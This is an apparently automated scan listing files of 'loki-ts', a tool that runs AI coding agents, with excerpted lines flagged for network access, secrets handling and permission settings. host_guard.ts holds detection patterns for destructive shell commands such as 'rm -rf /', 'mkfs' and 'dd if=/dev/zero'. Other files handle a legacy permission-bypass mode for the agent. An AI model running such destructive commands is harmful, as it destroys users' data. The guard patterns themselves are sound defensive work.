loki-ts/src/engine10/modernize/codemod.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/modernize/dashboard.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/modernize/equiv.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/modernize/estimate.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/modernize/inventory.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/modernize/lang/java.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/modernize/lang/python.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/modernize/log.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/modernize/oracle/java.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/modernize/oracle/seal.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/modernize/oracle/search.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/modernize/presealed_wall.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/modernize/report.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/modernize/reslice.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/modernize/resume.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/modernize/routes.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/modernize/scheduler.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/modernize/ship.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/modernize/targets/java21.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/modernize/targets/python3.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/modernize/types.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/modernize/unit.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/modernize/wave.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/output.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/pr_body.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/preflight.ts
loki-ts/src/engine10/registry.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/relevant_files.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/repomap.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/session.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/sizing.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/stages/commit.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/stages/deep.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/stages/fix.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/stages/implement.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/stages/intake.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/stages/plan.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/stages/pr.ts
loki-ts/src/engine10/stages/seal.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/stages/verify.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/stages/wall.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/stages/xreview.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/supervisor.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/testmap.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/types.ts
- Executable scriptline 1
Executable file
loki-ts/src/engine10/verify_cmd.ts
- Executable scriptline 1
Executable file - Network accessline 205
args = ma.args; if (args[0] === "--help" || args[0] === "-h") { process.stdout.write("Usage: loki verify [run-id]\nVerify .loki/runs/<run-id>/receipt.json (default: latest run).\nExit: 0 verified, 1 tampered, 2 unchecked, 3 unsigned ( - Network accessline 206
if (args[0] === "--help" || args[0] === "-h") { process.stdout.write("Usage: loki verify [run-id]\nVerify .loki/runs/<run-id>/receipt.json (default: latest run).\nExit: 0 verified, 1 tampered, 2 unchecked, 3 unsigned (refused), 4 run ou - Network accessline 207
process.stdout.write("Usage: loki verify [run-id]\nVerify .loki/runs/<run-id>/receipt.json (default: latest run).\nExit: 0 verified, 1 tampered, 2 unchecked, 3 unsigned (refused), 4 run outcome not verified, 66 no runs.\nOptions: --allow-un
loki-ts/src/engine10/worker.ts
loki-ts/src/features/attempts.ts
- Executable scriptline 1
Executable file
loki-ts/src/features/blocked_answer.ts
loki-ts/src/features/contract.ts
- Executable scriptline 1
Executable file
loki-ts/src/features/decompose.ts
- Executable scriptline 1
Executable file
loki-ts/src/features/dependents.ts
- Executable scriptline 1
Executable file
loki-ts/src/features/lean_prefix.ts
- Executable scriptline 1
Executable file
loki-ts/src/features/receipt_dsse.ts
- Executable scriptline 1
Executable file - Network accessline 7
export const DSSE_PAYLOAD_TYPE = "application/vnd.in-toto+json"; export const STATEMENT_TYPE = "https://in-toto.io/Statement/v1"; - Network accessline 8
export const STATEMENT_TYPE = "https://in-toto.io/Statement/v1"; - Network accessline 9
export const PREDICATE_TYPE = "https://autonomi.dev/loki/receipt/v10";
loki-ts/src/features/runner_config.ts
- Executable scriptline 1
Executable file
loki-ts/src/features/spec_ambiguity.ts
- Executable scriptline 1
Executable file
loki-ts/src/features/speed/already_done_async.ts
- Executable scriptline 1
Executable file
loki-ts/src/features/speed/decompose_check.ts
- Executable scriptline 1
Executable file
loki-ts/src/features/speed/fix_units.ts
- Executable scriptline 1
Executable file
loki-ts/src/features/speed/group_grid.ts
- Executable scriptline 1
Executable file
loki-ts/src/features/speed/group_output.ts
- Executable scriptline 1
Executable file
loki-ts/src/features/speed/lean_select.ts
- Executable scriptline 1
Executable file
loki-ts/src/features/speed/route.ts
- Executable scriptline 1
Executable file
loki-ts/src/features/speed/run_group.ts
loki-ts/src/features/speed/seal_group.ts
- Executable scriptline 1
Executable file
loki-ts/src/features/speed/unit_mode.ts
- Executable scriptline 1
Executable file
loki-ts/src/features/tracker_intake.ts
- Executable scriptline 1
Executable file - Network accessline 10
const JIRA_KEY = "[A-Z][A-Z0-9_]*-\\d+"; const JIRA_REF = new RegExp(`^jira:(${JIRA_KEY})$`); const JIRA_URL = new RegExp(`^https://([\\w-]+(?:\\.[\\w-]+)*\\.atlassian\\.net)/browse/(${JIRA_KEY})/?(?:[?#]\\S*)?$`); - Network accessline 11
[Credential-related source omitted] - Access to secretsline 11
[Credential-related source omitted] - Network accessline 12
[Credential-related source omitted] - Access to secretsline 12
[Credential-related source omitted] - Access to secretsline 15
[Credential-related source omitted] - Network accessline 32
if (m) return { source: "jira", key: m[1]! }; m = JIRA_URL.exec(s); if (m) return { source: "jira", key: m[2]!, site: `https://${m[1]}` }; - Network accessline 33
m = JIRA_URL.exec(s); if (m) return { source: "jira", key: m[2]!, site: `https://${m[1]}` }; const site = selfHostedSite(s, env); - Network accessline 34
if (m) return { source: "jira", key: m[2]!, site: `https://${m[1]}` }; - Access to secretsline 83
[Credential-related source omitted] - Access to secretsline 92
[Credential-related source omitted] - Network accessline 111
async function fetchLinear(ref: Extract<TrackerRef, { source: "linear" }>, f: FetchFn, env: NodeJS.ProcessEnv): Promise<TrackerIssue> { const key = need(env, "LINEAR_API_KEY", "; Linear intake needs LINEAR_API_KEY"); const res = await f - Network accessline 112
[Credential-related source omitted] - Access to secretsline 112
[Credential-related source omitted] - Network accessline 113
const res = await f("https://api.linear.app/graphql", { - Access to secretsline 118
[Credential-related source omitted] - Access to secretsline 122
[Credential-related source omitted] - Access to secretsline 164
[Credential-related source omitted] - Access to secretsline 186
[Credential-related source omitted] - Network accessline 193
[Credential-related source omitted] - Network accessline 194
[Credential-related source omitted] - Network accessline 195
[Credential-related source omitted] - Access to secretsline 196
[Credential-related source omitted] - Access to secretsline 199
[Credential-related source omitted]
loki-ts/src/features/triage.ts
loki-ts/src/features/untouched_untracked.ts
- Executable scriptline 1
Executable file
loki-ts/src/features/visual_evidence.ts
- Executable scriptline 1
Executable file - Network accessline 67
const end = Date.now() + ms; while (Date.now() < end && !signal?.aborted) { try { const r = await fetch(url, { signal: AbortSignal.timeout(Math.max(1, Math.min(2000, end - Date.now()))) }); if (r.status < 500) return true; } catch { / - Network accessline 68
while (Date.now() < end && !signal?.aborted) { try { const r = await fetch(url, { signal: AbortSignal.timeout(Math.max(1, Math.min(2000, end - Date.now()))) }); if (r.status < 500) return true; } catch { /* retry */ } await new Prom - Network accessline 69
try { const r = await fetch(url, { signal: AbortSignal.timeout(Math.max(1, Math.min(2000, end - Date.now()))) }); if (r.status < 500) return true; } catch { /* retry */ } - Network accessline 187
const budget = opts.budgetMs ?? DEFAULT_BUDGET_MS, end = Date.now() + budget, left = (): number => end - Date.now(); const aborted = (): boolean => signal?.aborted === true; const port = await freePort(), base = `http://127.0.0.1:${ - Network accessline 188
const aborted = (): boolean => signal?.aborted === true; const port = await freePort(), base = `http://127.0.0.1:${port}`; const [bc, ba] = boot ? (["bash", ["-c", boot.boot.cmd]] as const) : (["npm", ["run", script!, "--silent"]] a - Network accessline 189
const port = await freePort(), base = `http://127.0.0.1:${port}`; - Network accessline 216
for (const p of apiPaths) { if (aborted() || left() <= 0) break; try { const r = await fetch(`${base}${p}`, { signal: AbortSignal.timeout(Math.max(1, left())) }); rows.push({ method: "GET", path: p, status: r.status, body: (awai - Network accessline 217
if (aborted() || left() <= 0) break; try { const r = await fetch(`${base}${p}`, { signal: AbortSignal.timeout(Math.max(1, left())) }); rows.push({ method: "GET", path: p, status: r.status, body: (await r.text()).slice(0, 2048) }); } c - Network accessline 218
try { const r = await fetch(`${base}${p}`, { signal: AbortSignal.timeout(Math.max(1, left())) }); rows.push({ method: "GET", path: p, status: r.status, body: (await r.text()).slice(0, 2048) }); } catch { rows.push({ method: "GET", path: p,
loki-ts/src/features/wall_manifest.ts
- Executable scriptline 1
Executable file
loki-ts/src/features/wall_manifest_wire.ts
- Executable scriptline 1
Executable file
loki-ts/src/features/warm.ts
- Executable scriptline 1
Executable file
loki-ts/src/features/warm_client.ts
- Executable scriptline 1
Executable file
loki-ts/src/integrations/before_after.ts
- Executable scriptline 1
Executable file
loki-ts/src/integrations/writeback.ts
- Executable scriptline 1
Executable file - Network accessline 30
async function post(url: string, init: RequestInit, label: string, what = "comment"): Promise<void> { try { const r = await fetch(url, { ...init, signal: AbortSignal.timeout(TIMEOUT_MS) }); - Network accessline 31
try { const r = await fetch(url, { ...init, signal: AbortSignal.timeout(TIMEOUT_MS) }); if (!r.ok) process.stderr.write(`writeback: ${label} ${what} failed (HTTP ${r.status})\n`); - Network accessline 32
const r = await fetch(url, { ...init, signal: AbortSignal.timeout(TIMEOUT_MS) }); - Access to secretsline 38
[Credential-related source omitted] - Access to secretsline 41
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Network accessline 60
} if (linearOn && kind !== "jira" && kind !== "github") { const url = env.LOKI_LINEAR_URL ?? "https://api.linear.app/graphql"; - Network accessline 61
[Credential-related source omitted] - Network accessline 62
const url = env.LOKI_LINEAR_URL ?? "https://api.linear.app/graphql";
loki-ts/src/metrics/kpis.ts
- Executable scriptline 1
Executable file
loki-ts/src/metrics/trust.ts
- Executable scriptline 1
Executable file
loki-ts/src/project_graph.ts
- Executable scriptline 1
Executable file
loki-ts/src/project_model/api.ts
- Executable scriptline 1
Executable file
loki-ts/src/project_model/conventions.ts
- Executable scriptline 1
Executable file
loki-ts/src/project_model/discover.ts
- Executable scriptline 1
Executable file
loki-ts/src/project_model/gather.ts
- Executable scriptline 1
Executable file
loki-ts/src/project_model/graph.ts
- Executable scriptline 1
Executable file
loki-ts/src/project_model/install.ts
- Executable scriptline 1
Executable file
loki-ts/src/project_model/linguist.ts
- Executable scriptline 1
Executable file
loki-ts/src/project_model/package_suite.ts
- Executable scriptline 1
Executable file
loki-ts/src/project_model/resolve.ts
- Executable scriptline 1
Executable file
loki-ts/src/project_model/schema.ts
- Executable scriptline 1
Executable file
loki-ts/src/project_model/scope.ts
- Executable scriptline 1
Executable file
loki-ts/src/providers/claude_flags.ts
- Executable scriptline 1
Executable file - Dangerous shell operationline 28
"Edit,Write,NotebookEdit,Bash(git commit:*),Bash(git reset:*),Bash(git push:*),Bash(git checkout:*),Bash(git clean:*),Bash(git rm:*),Bash(git stash:*),Bash(git -C:*),Bash(git --git-dir:*),Bash(git -c:*),Bash(git --exec-path:*),Bash(git diff - Access to secretsline 432
[Credential-related source omitted] - Access to secretsline 486
[Credential-related source omitted] - Network accessline 612
// Complements the v7.33 --disallowedTools denylist with a least-privilege grant: // only the read/inspect tools a voter needs. Per the official permission docs // (https://code.claude.com/docs/en/permissions) rules are "evaluated in order: - Network accessline 613
// only the read/inspect tools a voter needs. Per the official permission docs // (https://code.claude.com/docs/en/permissions) rules are "evaluated in order: // deny, then ask, then allow", and "if a tool is denied at any level, no other - Network accessline 614
// (https://code.claude.com/docs/en/permissions) rules are "evaluated in order: - Instruction override signalline 616
// level can allow it." Verified live against claude 2.1.177 (2026-06-13): with // both an allow and a deny rule on the same command, the command is BLOCKED, // even under --dangerously-skip-permissions. So DENY PRECEDENCE holds: the - Instruction override signalline 617
// both an allow and a deny rule on the same command, the command is BLOCKED, // even under --dangerously-skip-permissions. So DENY PRECEDENCE holds: the // allowlist and denylist are SAFE to emit together (the denylist still blocks - Instruction override signalline 618
// even under --dangerously-skip-permissions. So DENY PRECEDENCE holds: the - Instruction override signalline 931
// src/policies/claude_permissions.js (also invoked by providers/claude.sh) emits // --permission-mode plus --allowedTools/--disallowedTools from the task policy. // LOKI_PERMISSION_POLICY=legacy: the historical --dangerously-skip-permissio - Instruction override signalline 932
// --permission-mode plus --allowedTools/--disallowedTools from the task policy. // LOKI_PERMISSION_POLICY=legacy: the historical --dangerously-skip-permissions, // byte-identical. Unset: compiled only when an operator claude_permissions po - Instruction override signalline 933
// LOKI_PERMISSION_POLICY=legacy: the historical --dangerously-skip-permissions, - Instruction override signalline 1024
export interface SdkPermissionOptions { permissionMode: "plan" | "default" | "acceptEdits" | "bypassPermissions"; allowDangerouslySkipPermissions?: true; - Instruction override signalline 1025
permissionMode: "plan" | "default" | "acceptEdits" | "bypassPermissions"; allowDangerouslySkipPermissions?: true; allowedTools?: string[]; - Instruction override signalline 1026
allowDangerouslySkipPermissions?: true; - Instruction override signalline 1043
return l.length ? l : undefined; }; if (argv.includes("--dangerously-skip-permissions")) { - Instruction override signalline 1044
}; if (argv.includes("--dangerously-skip-permissions")) { const legacyDeny = csv(val("--disallowedTools")); - Instruction override signalline 1045
if (argv.includes("--dangerously-skip-permissions")) { - Instruction override signalline 1046
const legacyDeny = csv(val("--disallowedTools")); return { permissionMode: "bypassPermissions", allowDangerouslySkipPermissions: true, ...(legacyDeny ? { disallowedTools: legacyDeny } : {}) }; } - Instruction override signalline 1047
return { permissionMode: "bypassPermissions", allowDangerouslySkipPermissions: true, ...(legacyDeny ? { disallowedTools: legacyDeny } : {}) }; - Instruction override signalline 1051
const mode = modes.find((x) => x === m) ?? "plan"; // unreadable mode fails closed const out: SdkPermissionOptions = { permissionMode: mode }; if (mode === "bypassPermissions") out.allowDangerouslySkipPermissions = true; - Instruction override signalline 1052
const out: SdkPermissionOptions = { permissionMode: mode }; if (mode === "bypassPermissions") out.allowDangerouslySkipPermissions = true; const allow = csv(val("--allowedTools")); - Instruction override signalline 1053
if (mode === "bypassPermissions") out.allowDangerouslySkipPermissions = true;
loki-ts/src/providers/mcp_config.ts
- Executable scriptline 1
Executable file
loki-ts/src/providers/model_routes.ts
- Executable scriptline 1
Executable file - Access to secretsline 5
[Credential-related source omitted] - Network accessline 21
export const MODEL_ROUTES: Record<string, { baseUrl: string; tokenVar?: string }> = { openrouter: { baseUrl: "https://openrouter.ai/api", tokenVar: "OPENROUTER_API_KEY" }, - Network accessline 22
[Credential-related source omitted] - Access to secretsline 22
[Credential-related source omitted] - Network accessline 23
ollama: { baseUrl: "http://localhost:11434" }, - Network accessline 24
lmstudio: { baseUrl: "http://localhost:1234" }, - Network accessline 25
llamacpp: { baseUrl: "http://localhost:8080" }, - Network accessline 26
vllm: { baseUrl: "http://localhost:8000" }, - Access to secretsline 54
[Credential-related source omitted] - Access to secretsline 70
[Credential-related source omitted] - Access to secretsline 72
[Credential-related source omitted]
loki-ts/src/providers/price_table.ts
loki-ts/src/providers/provider_cost.ts
- Executable scriptline 1
Executable file
loki-ts/src/providers/provider_guard.ts
- Executable scriptline 1
Executable file - Instruction override signalline 152
{ provider: "claude", engine: "engine10", invocation: "Agent SDK query() (default) or claude CLI via loki-ts/src/runner/providers.ts", cost: "measured", budgetKill: "post-iteration", cancelProcessGroup: "yes", sandboxFlags: [], receipt: "ye - Instruction override signalline 153
{ provider: "opencode", engine: "engine10", invocation: "opencode run --auto [-m provider/model]", cost: "none", budgetKill: "none", cancelProcessGroup: "yes", sandboxFlags: providerSandboxFlags("opencode"), receipt: "yes", resume: "no", gu - Instruction override signalline 154
{ provider: "claude", engine: "legacy", invocation: "claude --dangerously-skip-permissions (bash loop)", cost: U, budgetKill: U, cancelProcessGroup: U, sandboxFlags: U, receipt: U, resume: U, guardScan: U, killBlocking: U, source: "provider
loki-ts/src/runner/attempts.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/budget.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/checkpoint.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/counter_evidence.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/crash.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/engine10_dashboard.ts
- Executable scriptline 1
Executable file - Network accessline 148
hostname: HOSTNAME, port, async fetch(req) { - Network accessline 149
port, async fetch(req) { const url = new URL(req.url); - Network accessline 150
async fetch(req) { - Network accessline 176
const boundPort = server.port ?? port; const boundHost = server.hostname ?? HOSTNAME; return { port: boundPort, hostname: boundHost, url: `http://${boundHost}:${boundPort}/`, stop: () => server.stop(true) }; - Network accessline 177
const boundHost = server.hostname ?? HOSTNAME; return { port: boundPort, hostname: boundHost, url: `http://${boundHost}:${boundPort}/`, stop: () => server.stop(true) }; } - Network accessline 178
return { port: boundPort, hostname: boundHost, url: `http://${boundHost}:${boundPort}/`, stop: () => server.stop(true) }; - Network accessline 211
* the process; that decision is the caller's. */ async function probeOccupant(port: number): Promise<Occupant> { const base = `http://127.0.0.1:${port}`; - Network accessline 212
async function probeOccupant(port: number): Promise<Occupant> { const base = `http://127.0.0.1:${port}`; try { - Network accessline 213
const base = `http://127.0.0.1:${port}`; try { const r = await fetch(`${base}/version`, { signal: AbortSignal.timeout(1000) }); - Network accessline 214
try { const r = await fetch(`${base}/version`, { signal: AbortSignal.timeout(1000) }); if (r.ok) { - Network accessline 215
const r = await fetch(`${base}/version`, { signal: AbortSignal.timeout(1000) }); - Network accessline 224
} try { const r = await fetch(`${base}/health`, { signal: AbortSignal.timeout(1000) }); - Network accessline 225
try { const r = await fetch(`${base}/health`, { signal: AbortSignal.timeout(1000) }); if (r.ok) { - Network accessline 226
const r = await fetch(`${base}/health`, { signal: AbortSignal.timeout(1000) });
loki-ts/src/runner/episode_bridge.ts
- Executable scriptline 1
Executable file - Access to secretsline 69
[Credential-related source omitted] - Access to secretsline 70
[Credential-related source omitted] - Access to secretsline 71
[Credential-related source omitted] - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 73
[Credential-related source omitted] - Access to secretsline 74
[Credential-related source omitted] - Access to secretsline 75
[Credential-related source omitted]
loki-ts/src/runner/escalation_handoff.ts
- Executable scriptline 1
Executable file - Dangerous shell operationline 95
lines.push("- Fix the finding? Address it in the code, then `rm .loki/PAUSE` to resume. A code_review BLOCK is NOT lifted by self-supplied counter-evidence -- the gated agent authors that file, so it cannot self-certify a trust-gate finding - Dangerous shell operationline 96
lines.push("- Override after your own review? You (the operator) are the escape path: review the finding and, if you accept it, `rm .loki/PAUSE` to resume. To direct the agent on resume, `echo \"instructions\" > .loki/HUMAN_INPUT.md` first. - Dangerous shell operationline 101
lines.push("To resume: fix the findings (or, after your own review, accept them), then `rm .loki/PAUSE`.");
loki-ts/src/runner/exec_manifest.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/findings_injector.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/github_token.ts
- Executable scriptline 1
Executable file - Access to secretsline 5
[Credential-related source omitted] - Access to secretsline 20
[Credential-related source omitted] - Access to secretsline 25
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Network accessline 28
// does not stop the keyring lookup. // 2. git's own `credential.helper` (`gh auth setup-git` wires // `credential.https://github.com.helper = !gh auth git-credential`, and - Network accessline 29
// 2. git's own `credential.helper` (`gh auth setup-git` wires // `credential.https://github.com.helper = !gh auth git-credential`, and // a plain `osxkeychain`/`libsecret`/etc. helper may ALSO be configured, - Network accessline 30
// `credential.https://github.com.helper = !gh auth git-credential`, and - Access to secretsline 43
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 63
[Credential-related source omitted] - Access to secretsline 82
[Credential-related source omitted] - Access to secretsline 98
[Credential-related source omitted] - Access to secretsline 99
[Credential-related source omitted] - Access to secretsline 100
[Credential-related source omitted] - Access to secretsline 101
[Credential-related source omitted] - Access to secretsline 165
[Credential-related source omitted]
loki-ts/src/runner/host_guard.ts
- Executable scriptline 1
Executable file - Dangerous shell operationline 89
["pattern", (c) => /rm -rf (?:\/|~|\$HOME|\.loki|\.\/\.loki)/.test(c)], - Dangerous shell operationline 90
["pattern", (c) => /> \/dev\/sd|mkfs[. ]|dd if=\/dev\/zero|chmod -R 777 \//.test(c)], - Dangerous shell operationline 93
["pattern", (c) => inOrder(c, ["rm "], LOKI_STATE) || c.includes("> .loki/council/") || c.includes("> .loki/config.yaml")], - Dangerous shell operationline 112
// The script reads words with quotes removed (shlex) and with fd duplications (2>&1) cut (the rm check); test both forms.
loki-ts/src/runner/learnings_writer.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/load_owner.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/model_downgrades.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/model_rank.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/oauth_dev.ts
- Executable scriptline 1
Executable file - Access to secretsline 5
[Credential-related source omitted] - Access to secretsline 6
[Credential-related source omitted] - Access to secretsline 13
[Credential-related source omitted] - Access to secretsline 19
[Credential-related source omitted] - Access to secretsline 34
[Credential-related source omitted] - Access to secretsline 54
[Credential-related source omitted] - Access to secretsline 59
[Credential-related source omitted] - Access to secretsline 70
[Credential-related source omitted]
loki-ts/src/runner/provider_failover.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/provider_opencode.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/providers.ts
- Executable scriptline 1
Executable file - Instruction override signalline 482
// at claude.sh:192-199 (v7.5.19 Phase B adds --effort / --max-budget-usd / // --fallback-model derived from existing Loki state): // claude --dangerously-skip-permissions --model <model> \ - Instruction override signalline 483
// --fallback-model derived from existing Loki state): // claude --dangerously-skip-permissions --model <model> \ // [--effort <tier-derived>] [--max-budget-usd <limit-spend>] \ - Instruction override signalline 484
// claude --dangerously-skip-permissions --model <model> // [--effort <tier-derived>] [--max-budget-usd <limit-spend>] - Access to secretsline 822
[Credential-related source omitted] - Instruction override signalline 864
// P12-26c: honours LOKI_PERMISSION_POLICY via the shared resolver. Legacy keeps // bypassPermissions + the required allowDangerouslySkipPermissions companion. - Instruction override signalline 865
// bypassPermissions + the required allowDangerouslySkipPermissions companion. - Access to secretsline 986
[Credential-related source omitted]
loki-ts/src/runner/repo_profile.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/retry_class.ts
loki-ts/src/runner/router/advisor_probe.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/router/cost_preview.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/router/decision.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/router/flag.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/router/history.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/router/history_store.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/router/implement_route.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/router/plan_route.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/router/route_block.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/router/route_record.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/router/session_route.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/router/unit_model.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/runner_errors.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/sdk_invoker.ts
- Executable scriptline 1
Executable file - Access to secretsline 8
[Credential-related source omitted] - Access to secretsline 115
[Credential-related source omitted] - Access to secretsline 163
[Credential-related source omitted] - Access to secretsline 168
[Credential-related source omitted] - Access to secretsline 175
[Credential-related source omitted] - Access to secretsline 223
[Credential-related source omitted] - Access to secretsline 228
[Credential-related source omitted] - Network accessline 294
const DEFAULT_BASE_URL = "https://api.anthropic.com"; - Access to secretsline 317
[Credential-related source omitted]
loki-ts/src/runner/sdk_mode.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/sdk_stream_parser.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/session_resume.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/state.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/stop_checks.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/trim.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/types.ts
loki-ts/src/runner/watchdog.ts
- Executable scriptline 1
Executable file
loki-ts/src/runner/worker_proc.ts
loki-ts/src/supply/supply_guard.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/already_done_evidence.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/anti_loop.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/app_probe.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/atomic.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/base_guard.ts
- Executable scriptline 1
Executable file - Network accessline 37
const ex = explicit?.trim(); if (ex && !ex.startsWith("loki/")) { fetch(ex); - Network accessline 38
if (ex && !ex.startsWith("loki/")) { fetch(ex); for (const c of [`origin/${ex}`, ex]) if (exists(repoDir, c)) return { ref: c, source: "flag" }; - Network accessline 39
fetch(ex); - Network accessline 44
const names = [head ? head.replace(/^origin\//, "") : "", "main", "master"].filter((n) => n !== ""); for (const n of names) if (exists(repoDir, `origin/${n}`) || exists(repoDir, n)) { fetch(n); - Network accessline 45
for (const n of names) if (exists(repoDir, `origin/${n}`) || exists(repoDir, n)) { fetch(n); if (exists(repoDir, `origin/${n}`)) return { ref: `origin/${n}`, source: "remote-default" }; - Network accessline 46
fetch(n);
loki-ts/src/util/check_result.ts
loki-ts/src/util/child_ledger.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/claude_model.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/colors.ts
- Executable scriptline 1
Executable file - Network accessline 2
// Used by parity tests to normalize output across bash/bun routes. // // v7.4.3 fix (BUG-15): honor the NO_COLOR convention (https://no-color.org). - Network accessline 3
// // v7.4.3 fix (BUG-15): honor the NO_COLOR convention (https://no-color.org). // When NO_COLOR is set in the env (any non-empty value), all constants - Network accessline 4
// v7.4.3 fix (BUG-15): honor the NO_COLOR convention (https://no-color.org). - Network accessline 24
export const BOLD = color("\x1b[1m"); export const DIM = color("\x1b[2m"); export const NC = color("\x1b[0m"); - Network accessline 26
export const NC = color("\x1b[0m");
loki-ts/src/util/composite_seal.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/conflict_resume.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/context_pack.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/cost_breakdown.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/cost_profile.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/credential_env.ts
- Executable scriptline 1
[Credential-related source omitted] - Access to secretsline 1
[Credential-related source omitted] - Access to secretsline 2
[Credential-related source omitted] - Access to secretsline 5
[Credential-related source omitted] - Access to secretsline 9
[Credential-related source omitted] - Access to secretsline 10
[Credential-related source omitted]
loki-ts/src/util/dashboard_page.ts
- Executable scriptline 1
Executable file - Network accessline 71
} function loadVersion() { fetch("/version").then(function (r) { return r.json(); }).then(function (v) { - Network accessline 72
function loadVersion() { fetch("/version").then(function (r) { return r.json(); }).then(function (v) { document.getElementById("version").textContent = - Network accessline 73
fetch("/version").then(function (r) { return r.json(); }).then(function (v) { - Network accessline 84
} function loadRuns() { fetch("/api/runs").then(function (r) { return r.json(); }).then(function (runs) { - Network accessline 85
function loadRuns() { fetch("/api/runs").then(function (r) { return r.json(); }).then(function (runs) { var ul = document.getElementById("runs"); - Network accessline 86
fetch("/api/runs").then(function (r) { return r.json(); }).then(function (runs) {
loki-ts/src/util/deprecated_alias.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/dotnet_test.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/engine_origin.ts
- Executable scriptline 1
Executable file - Network accessline 34
const perms = repo["permissions"]; if (!perms || typeof perms !== "object" || typeof perms.push !== "boolean") return null; const name = repoSlug.split("/")[1] ?? ""; // compare root: the repo itself when we can push to it, else the calle - Network accessline 35
const name = repoSlug.split("/")[1] ?? ""; // compare root: the repo itself when we can push to it, else the caller's fork (default fork name = repo name); null when the fork owner is unknown const mk = (mode: PublishMode, reason: string - Network accessline 36
const mk = (mode: PublishMode, reason: string | null, instead: string): PublishPlan => { const compare = mode === "branch" ? `https://github.com/${repoSlug}/compare` : mode === "fork_branch" && login ? `https://github.com/${login}/${name}/c
loki-ts/src/util/failure_memory.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/first_run_repo.ts
- Executable scriptline 1
Executable file
loki-ts/src/util/funnel.ts
